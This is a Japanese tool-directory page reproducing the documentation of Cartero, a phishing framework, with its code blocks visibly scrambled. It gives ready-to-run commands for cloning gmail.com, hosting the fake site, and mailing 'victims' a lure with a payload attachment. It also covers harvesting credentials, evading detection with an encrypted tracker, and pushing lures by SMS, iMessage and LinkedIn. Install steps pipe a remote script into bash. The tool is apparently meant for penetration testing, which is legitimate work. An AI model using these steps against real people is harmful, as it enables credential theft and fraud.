Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Cartero — サイトのクローン作成、テンプレート化されたメールの送信、電子メール・SMS・iMessage・LinkedIn経由でのフィッシングキャンペーンの開始を行うためのCLIを備えたモジュール式フィッシングフレームワーク。 | Kitploit
ツール/GitHubGitHub/mrbrutti/cartero
フィッシングツールソーシャルエンジニアリング用OSINTペイロード生成フィッシングソーシャルエンジニアリング
GitHubmrbrutti/cartero

Cartero

サイトのクローン作成、テンプレート化されたメールの送信、電子メール・SMS・iMessage・LinkedIn経由でのフィッシングキャンペーンの開始を行うためのCLIを備えたモジュール式フィッシングフレームワーク。

リポジトリを見る
49455ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

Mail

Cartero

URL

http://section9labs.github.io/Cartero/

説明

堅牢なフィッシングフレームワークであり、フル機能を備えたCLIインターフェースを備えています。このプロジェクトは、仕事を果たせないツールを使った長年にわたる業務の中で生まれた必要性から誕生しました。世の中には多くのプロジェクトが存在しますが、使いやすさとカスタマイズ性の両方を兼ね備えた適切なソリューションを見つけることはできませんでした。

Carteroは、独立したタスクを実行するコマンド(例: Mailer、Cloner、Listener、AdminConsoleなど)に分割されたモジュール型プロジェクトです。さらに、各サブコマンドには繰り返し設定可能なオプションがあり、作業の設定と自動化を可能にします。

たとえば、gmail.comをクローンしたい場合、単に以下のコマンドを実行するだけです。```shell ❯❯❯ ./cartero Cloner --url https://gmail.com --path /tmp --webserver gmail_com ❯❯❯ ./cartero Listener --webserver /tmp/gmail_com -p 80 Launching mongodb Puma starting in single mode...

  • Version 2.8.2 (ruby 2.1.1-p76), codename: Sir Edmund Percival Hillary
  • Min threads: 4, max threads: 16
  • Environment: production
  • Listening on tcp://0.0.0.0:80 Use Ctrl-C to stop
root@kitploit:~
サイトを立ち上げて稼働させたら、Mailerコマンドを使用するだけで、テンプレート化されたメールを被害者に送信できます:```shell
❯❯❯ ./cartero Mailer --data victims.json --server gmail_com --subject "Internal Memo" --htmlbody email_html.html --attachment payload.pdf --from "John Doe <[email protected]>"
Sending [email protected]
Sending [email protected]
Sending [email protected]

Community

Slack コミュニティに参加: https://carteroslack.herokuapp.com/

Installation

Automated Installation

brew 2.1.5 ruby をデフォルトの ruby ライブラリとして使用```shell ❯❯❯ curl -L https://raw.githubusercontent.com/Section9Labs/Cartero/master/data/scripts/setup.sh | bash

root@kitploit:~
RVMを使用したRuby 2.1.5のインストール```shell
❯❯❯ curl -L https://raw.githubusercontent.com/Section9Labs/Cartero/master/data/scripts/setup.sh | bash -s -- -r

依存関係

Ruby```shell

❯❯❯ \curl -sSL https://get.rvm.io | bash -s stable --ruby

root@kitploit:~
##### MongoDB
Cartero は、Listener 側と Admin 側のデータを保存するために MongoDB + MongoID ライブラリを使用します。

OSX の場合:```shell
❯❯❯ brew install mongodb

Ubuntu / Kali / Debian 上```shell ❯❯❯ apt-get install mongodb

root@kitploit:~
Arch Linux の場合```
❯❯❯ pacman -Syu mongodb

フレームワーク```shell

❯❯❯ git clone https://github.com/section9labs/Cartero ❯❯❯ cd Cartero ❯❯❯ gem install bundle ❯❯❯ bundle install ❯❯❯ cd bin

root@kitploit:~
### 使い方
### コマンド
Cartero は非常に強力で使いやすいCLIです。```shell
❯❯❯ ./cartero
Usage: cartero [options]

List of Commands:
    AdminConsole, AdminWeb, Mailer, Cloner, Listener, Servers, Templates

Global options:
        --proxy [HOST:PORT]          Sets TCPSocket Proxy server
    -c, --config [CONFIG_FILE]       Provide a different cartero config file
    -v, --[no-]verbose               Run verbosely
    -p [PORT_1,PORT_2,..,PORT_N],    Global Flag fo Mailer and Webserver ports
        --ports
    -m, --mongodb [HOST:PORT]        Global Flag fo Mailer and Webserver ports
    -d, --debug                      Sets debug flag on/off
        --editor [EDITOR]            Edit Server


Common options:
    -h, --help [COMMAND]             Show this message
        --list-commands              Prints list of commands for bash completion
        --version                    Shows cartero CLI version

Basic Commands

Mongo

これはMongoDB用のシンプルなラッパーで、対応するコマンドを使用して、正しい~/.carteroパス上でデータベースの起動と停止を行うことができます。```shell ❯❯❯ ./cartero Mongo Usage: Cartero Mongo [options] -s, --start Start MongoDB -k, --stop Stop MongoDB -r, --restart Restart MongoDB -b, --bind [HOST:PORT] Set MongoDB bind_ip and port

Common options: -h, --help Show this message --list-options Show list of available options

root@kitploit:~
#### クローナー
WebサイトをダウンロードしてCartero WebServerアプリケーションに変換できるWebサイトクローナーです。
Webサイトをすばやく簡単にカスタマイズして、資格情報の収集、ペイロードの配信、または任意の目的のためにサイトを完全に変更することができます。```shell
❯❯❯ ./cartero Cloner
Usage: Cartero Cloner [options]
    -U, --url [URL_PATH]             Full Path of site to clone
    -W, --webserver [SERVER_NAME]    Sets WebServer name to use
    -p, --path [PATH]                Sets path to save webserver
    -P, --payload [PAYLOAD_PATH]     Sets payload path
        --useragent [UA_STRING]      Sets user agent for cloning
        --wget                       Use wget to clone url
        --apache                     Generate Apache Proxy conf

Common options:
    -h, --help                       Show this message
        --list-options               Show list of available options

デフォルトでは、このコマンドは、リンクをダウンロードしてレンダリング用に変換するために独自の Ruby 実装を使用しますが、ローカルの wget システムコマンドを使用する --wget オプションもサポートしています。

リスナー

リスナーは、Cloner または手動で作成したサイトを通じて作成された WebServer を実行する役割を担います。デフォルトでは、何も指定されない場合、非常にシンプルな Web サイトを表示します。```shell ❯❯❯ ./cartero Listener Usage: Cartero Listener [options] -i, --ip [1.1.1.1] Sets IP interface, default is 0.0.0.0 -p [PORT_1,PORT_2,..,PORT_N], Sets Email Payload Ports to scan --ports -s, --ssl Run over SSL. [this also requires --sslcert and --sslkey] -C, --sslcert [CERT_PATH] Sets Email Payload Ports to scan -K, --sslkey [KEY_PATH] Sets SSL key to use for Listener. -V, --views [VIEWS_FOLDER] Sets SSL Certificate to use for Listener. -P, --public [PUBLIC_FOLDER] Sets a Sinatra public_folder -W [WEBSERVER_FOLDER], Sets the sinatra full path from cloner. --webserver --payload [PAYLOAD] Sets a payload download to serve on /download --customapp [CUSTOM_SINATRA] Sets a custom Sinatra::Base WebApp. Important, WebApp name should be camelized of filename

Common options: -h, --help Show this message --list-options Show list of available options

root@kitploit:~
The WebServers support ssl keys and virtual hosts across multiple IP, Hostnames, and Ports.

#### サーバー
メールキャンペーンを送信するには、メールサーバーをセットアップする必要があります。このコマンドを使用すると、Cartero はサーバーの作成、保存、一覧表示を行うことができます。すべてのデータは ~/.cartero 設定ディレクトリに保存されます。```shell
./cartero Servers
Usage: Cartero Servers [options]
    -a, --add [NAME]                 Add Server
    -e, --edit [NAME]                Edit Server
    -d, --delete [NAME]              Edit Server
    -l, --list                       List servers

Configuration options:
    -T, --type [TYPE]                Set the type
    -U, --url [DOMAIN]               Set the Mail or WebMail url/address
    -M, --method [METHOD]            Sets the WebMail Request Method to use [GET|POST]
        --api-access [API_KEY]       Sets the Linkedin API Access Key
        --api-secret [API_SECRET]    Sets the Linkedin API Secret Key
        --oauth-token [OAUTH_TOKEN]  Sets the Linkedin OAuth Token Key
        --oauth-secret [OAUTH_SECRET]
                                     Sets the Linkedin OAuth Secret Key

Common options:
    -h, --help                       Show this message
        --list-options               Show list of available options

テンプレート

サーバーと同様に、メールキャンペーンでも被害者にコンテンツを送信するための事前定義済みテンプレートが必要です。このモジュールにより、攻撃者はキャンペーンで使用しているテンプレートを追跡、作成、一覧表示、編集できます。

注: ここでテンプレートを設定する必要はなく、Mailer はCLIからメールテンプレートへの直接パスを受け付けます。```shell ❯❯❯ ./cartero Templates Usage: Cartero Templates [options] -a, --add [NAME] Add Template -e, --edit [NAME] Edit Template -d, --delete [NAME] Edit Template -l, --list List Templates -h, --help Show this message

root@kitploit:~
#### Mailer
Cartero Framework の主要コマンドおよびコンポーネントです。Cartero がカスタムテンプレート化されたメールを1つ以上のメールアドレスに送信できるようにします。

各メールは、強力な erb テンプレートエンジンを使用してカスタマイズでき、ユーザーはテンプレート内に複雑なプログラム上のルールを作成して、大量の非常に標的を絞ったメールを送信できます。

カスタムテンプレートの作成方法の詳細については、当社の Examples を参照してください。```shell
❯❯❯ ./cartero Mailer
Usage: Cartero Mailer [options]
    -D, --data [DATA_FILE]           File containing template data sets
    -S, --server [SERVER_NAME]       Sets Email server to use
    -s, --subject [EMAIL_SUBJECT]    Sets Email subject
    -f, --from [EMAIL_FROM]          Sets Email from
    -r, --reply-to [EMAIL_REPLY_TO]  Sets Email from
    -b, --body [FILE_PATH]           Sets Email Text Body
    -B, --htmlbody [FILE_PATH]       Sets Email HTML Body
    -c, --charset [CHARSET]          Sets Email charset
    -C [CONTENT_TYPE],               Sets Email content type
        --content-type
    -a [FILE_1,FILE_2,..,FILE_N],    Sets Email Attachments
        --attachment
    -p [PORT_1,PORT_2,..,PORT_N],    Sets Email Payload Ports to scan
        --ports

Common options:
    -h, --help                       Show this message
        --list-options               Show list of available options

WebMailer

このコマンドは、既知の脆弱な、または匿名のウェブメールサービスをウェブリクエスト経由で使用してメッセージを送信することで、SMTP / IMAPサーバーの代替手段をサポートします。```shell ❯❯❯ ./cartero WebMailer Usage: Cartero WebMailer [options] -R, --raw [RAW_REQUEST_FILE] Sets WebMail Raw Request -S, --server [SERVER_NAME] Sets WebMail server to use -U, --url [URL:PORT] Sets WebMail server url to use -H [HEADER:VAL\nHEADER:VAL], Sets WebMail Headers to use --headers -C, --cookies [COOKIES] Sets WebMail Cookies to use -D, --data [DATA_FILE] File containing template data sets -s, --subject [EMAIL_SUBJECT] Sets Email subject -f, --from [EMAIL_FROM] Sets Email from -r, --reply-to [EMAIL_REPLY_TO] Sets Email reply-to -b, --body [REQUEST_FILE_PATH] Sets Email Text request query Body -p [PORT_1,PORT_2,..,PORT_N], Sets Email Payload Ports to scan --ports

Common options: -h, --help Show this message --list-options Show list of available options

root@kitploit:~
このコマンドは主に2つの方法で使用できます。1つは、Webプロキシ(すなわちBurp Proxy)でトラフィックを傍受して取得したような生のコマンドを使用する方法、もう1つは、Carteroで利用可能なserversコマンドを使用する方法です。

#####send-mail.org用ウェブメールサーバーの例```json
{
    "name": "send-email",
    "type": "webmail",
    "options": {
        "url": "http://send-email.org/send",
        "method": "POST",
        "cookies": "",
        "headers": {
            "Host": "send-email.org",
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:29.0) Gecko/20100101 Firefox/29.0",
            "Accept": "application/json, text/javascript, */*; q=0.01",
            "Accept-Language": "en-US,en;q=0.5",
            "Accept-Encoding": "gzip, deflate",
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
            "X-Requested-With": "XMLHttpRequest",
            "Referer": "http://send-email.org/",
            "Content-Length": "126",
            "Connection": "keep-alive",
            "Pragma": "no-cache"
        }
    },
    "confirmation" : "Your message was sent!"
}

この事前設定されたリクエストを使用することで、Mailer 用と同じデータセット、同じ種類のテンプレートを使用して、簡単にメッセージを送信できます。例は /templates/mail/sample.web で利用できます。

#####サンプルコマンド:```shell ❯❯❯ ./cartero WebMailer -S webmail -D ~/sample.json -b ../templates/mail/sample.web -r [email protected]

root@kitploit:~
#### LinkedIn
LinkedInコマンドは、Carteroフレームワークに追加された最初のソーシャルネットワーク機能です。このプラグインにより、攻撃者はソーシャルプラットフォームを利用して、LinkedIn内からメッセージを送信し、ユーザーを攻撃することができます。```shell
❯❯❯ ./cartero LinkedIn
Usage: Cartero LinkedIn [options]
    -D, --data [DATA_FILE]           File containing template data sets
    -S, --server [SERVER_NAME]       Sets Email server to use
    -s, --subject [MESSAGE_SUBJECT]  Sets LinkedIn Message subject
    -b, --body [FILE_PATH]           Sets LinkedIn Message Body
    -l, --list [CONNECTIONS|GROUPS]  List json of (connections or groups)
        --send [MESSAGE|GROUP_UPDATE]
                                     Send one or more (message/s or group/s updates)
    -o, --save [FILE_PATH]           Sets LinkedIn Message Body

Common options:
    -h, --help                       Show this message
        --list-options               Show list of available options

このコマンドは、攻撃者のプロフィールに開発者 API キーと oauth キーが必要です。これは https://www.linkedin.com/secure/developer で簡単に取得でき、Server コマンドで新しいサーバーテンプレートを作成できます。

IMessage

OS X 上の Cartero は、メールと同じように被害者のアドレスに iMessage を送信できますが、これらのメッセージは、被害者が apple に登録しているすべての iDevice に表示されます。

背景: iMessage メッセージがアカウントにリンクされたすべてのデバイスに表示されるという事実を中国のスパマーが悪用しているというニュースを読んだ後、Cartero ユーザーもこの機能をフレームワークで利用できるようにするためのクイックコマンドが開発されました。

重要: これは現時点では OSX でのみ動作します```shell ❯❯❯ ./cartero IMessage Usage: Cartero IMessage [options] IMPORTANT: This command only works on OSX

root@kitploit:~
-D, --data [DATA_FILE]           File containing template data sets
-A, --attachment [ATTACHMENT]    Sets iMessage file path to send
-b, --body [BODY_FILE]           Sets iMessage message
-m, --message [MESSAGE]          Sets iMessage message

Common options: -h, --help Show this message --list-options Show list of available options

root@kitploit:~
iMessageは、テキストと添付ファイルの両方を含む単一のメッセージを送信することはできませんが、両方が指定された場合、メッセージは分割され、2つの個別のメッセージとして送信されます。
#####サンプルコマンド```shell
❯❯❯ ./cartero IMessage --data /Users/cartero/Desktop/test.json -b ../templates/mail/sample.imsg -a /Users/cartero/Downloads/jon.jpg

GoogleVoice

GoogleVoiceアカウントをお持ちで、SMSを自動送信したい場合、これは便利な方法かもしれません。他のすべてのコマンドと同じインフラストラクチャに従います。````shell ❯❯❯ ./cartero GoogleVoice Usage: Cartero GoogleVoice [options] -D, --data [DATA_FILE] File containing template data sets -S, --server [SERVER_NAME] Sets SMS server to use -b, --body [FILE_PATH] Sets SMS Text Body -m, --message [MESSAGE] Sets SMS message -u, --username [USER] Sets Google Voice Username -p, --password [PWD] Sets Google Voice password

Common options: -h, --help Show this message --list-options Show list of available options

root@kitploit:~
#### Twilio
Twilioアカウントをお持ちで、SMSを自動送信したい場合、これもまたSMSを送信するもう一つの方法になるかもしれません。なお、これは有料サービスであり、有効なアクセストークン(sid)とシークレット(secret_token)が必要です。詳細については、TwilioのWebサイト(https://www.twilio.com/sms/api)を参照してください。````shell
❯❯❯ ./cartero Twilio
Usage: Cartero Twilio [options]
    -D, --data [DATA_FILE]           File containing template data sets
    -S, --server [SERVER_NAME]       Sets SMS server to use
    -f, --from [NUMBER]              Sets SMS from number to use
    -b, --body [FILE_PATH]           Sets SMS Text Body
    -m, --message [MESSAGE]          Sets SMS message
    -u, --sid [SID]                  Sets Twilio Username
    -p, --token [TOKEN]              Sets Twilio password
    -A, --attachment [PATH_1||PATH_2||PATH_3]    Sets Twilio MMS URL image paths to send

Common options:
    -h, --help                       Show this message
        --list-options               Show list of available options

AdminWeb

Admin Webインターフェースは、攻撃者がすべてのキャンペーンに関する情報を取得できるようにするシンプルなWebアプリケーションです。```shell ❯❯❯ ./cartero AdminConsole Usage: Cartero AdminConsole [options] -i, --ip [1.1.1.1] Sets IP interface, default is 0.0.0.0 -p [PORT_1,PORT_2,..,PORT_N], Sets Email Payload Ports to scan --ports -s, --ssl Run over SSL. [this also requires --sslcert and --sslkey] -C, --sslcert [CERT_PATH] Sets Email Payload Ports to scan -K, --sslkey [KEY_PATH] Sets Email Payload Ports to scan

Common options: -h, --help Show this message --list-options Show list of available options

root@kitploit:~
#### AdminConsole
Admin Console は、収集された Persons、Campaigns、Hits、Credentials に関する情報を一覧表示できる CLI ツールです。```shell
❯❯❯ ./cartero AdminConsole
Usage: Cartero AdminConsole [options]
    -p, --persons [LATEST_N]         Display the list of persons that responded
    -i, --hits [LATEST_N]            Display the list of hits
    -c, --creds [LATEST_N]           Display the list of Credentials
    -a, --all                        Sets Email Payload Ports to scan
    -f, --filter                     flag to search by parameters
        --email [EMAIL]              Display the list of hits
        --campaign [CAMPAIGN]        Display the list of hits
        --ip [IP_ADDRESS]            Display the list of hits

Common options:
    -h, --help                       Show this message
        --list-options               Show list of available options

コマンドの構築

コマンドはかなりシンプルなフレームワークです。フレームワークのコマンド例は Cartero/lib/cartero/commands/*.rb と ~/.cartero/commands/*.rb に保存されています。```ruby module Cartero module Commands class CommandName < ::Cartero::Command

description( name: "Long Command Name Here", description: "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.", author: ["Author Name <noname [©] cartero.com>"], type:"General", license: "LGPL", references: [ "https://section9labs.github.io/Cartero", "https://section9labs.github.io/Cartero" ] )

def initialize super do |opts| #OptionsParser options available here. opts.on("-x", "--xoption [DATA_FILE]", String, "Description of command option") do |data| @options.xoption = data end opts.on("-y", "--yoption [DATA_FILE]", String, "Description of command option") do |data| @options.xoption = data end # help() option already provided. # --list-options for auto-complete automatic. end end

def setup # This will be hooked and run before run(). # It is meant as a method so the commands can run everything before that. end

def run # Everything that will run. end

def after # This is the place to run clean-up code. end end end end

root@kitploit:~
### Mailer Templates
メールは、使用する形式に応じて、単純なtxtファイルまたは制限付きHTMLファイルです。Carteroは、erb RubyライブラリとCLIインターフェースを通じて複雑なテンプレートを可能にし、両方の形式を構築およびテンプレート化するのに役立ちます。

ファイルは、erbを通じてキャンペーン用に広範囲にカスタマイズでき、実行時に動的な置換とプログラムによる決定を提供します。

もう一つの重要な機能は、各メールテンプレートに追加されるべき暗号化された self[:payload] です。これにより、Carteroは複数の転送やクリックがあっても送信元エンティティを識別できます。この小さなペイロードはランダムに生成されたキーで暗号化され、攻撃者はソースデータを安全に保ち、検出を回避できます。

**サンプルデータファイル**```json
[{
    "email": "[email protected]",
    "name": "John Doe"
}, {
    "email": "[email protected]",
    "name": "Gas Hill"
}, {
    "email": "[email protected]",
    "name": "John Doe 2"
}, {
    "email": "[email protected]",
    "name": "Jane Doe - Hotmail",
    "subject": "Hotmail Test 123"
}]

HTMLサンプルテンプレート```html

Hello Spear Phishing World <%= self[:name] %>,

This is an automated email to your email <%= self[:email] %>.

<% if self[:ports] %> <% self[:ports].each do |port| %> /image?key=<%= self[:payload] %>"> <% end %> <% end %>

root@kitploit:~
**テキストサンプルテンプレート**```txt
Hola <%= self[:name] %>,
This email needs to be displayed as HTML.
This is an automated email to your email<%= self[:email] %>.
In addition, this email can also be displayed securely
on http://192.168.1.216:8080/click?key=<%= self[:payload] %>

cheers,

<%= self[:from_name] %>

Servers

サーバーは、サーバーの追加、編集、削除ができる Servers コマンドを使用して管理できます。 注: サーバーは ~/.cartero/servers/*.json で手動編集できます。

####smtp```json { "name": "gmail", "type": "smtp", "options": { "address": "smtp.yourserver.com", "port": 25, "user_name": "user", "password": "password", "authentication": "plain", "domain": "localhost.localdomain" } }

root@kitploit:~
####linkedin```json
{
  "name": "linkedin",
  "type": "linkedin",
	"options": {
	  "api_access": "api_access",
	  "api_secret": "api_secret",
	  "oauth_token": "oauth_token",
	  "oauth_secret": "oauth_secret"
	}
}

####webmail```json { "name": "webmail-sample", "type": "webmail", "options": { "url": "http://www.send-email.com/data/send/email", "method": "POST", "cookies": "sdajsda09s7das923i3j2l131;21381903810", "headers": { "x-forward": "asdadadasad" } }, "confirmation" : null }

root@kitploit:~
.
### CHANGELOG
- [CHANGELOG](https://github.com/mrbrutti/cartero/blob/HEAD/CHANGELOG.md)

### TODO
- [TODO](https://github.com/mrbrutti/cartero/blob/HEAD/TODO.md)
ツールをダウンロード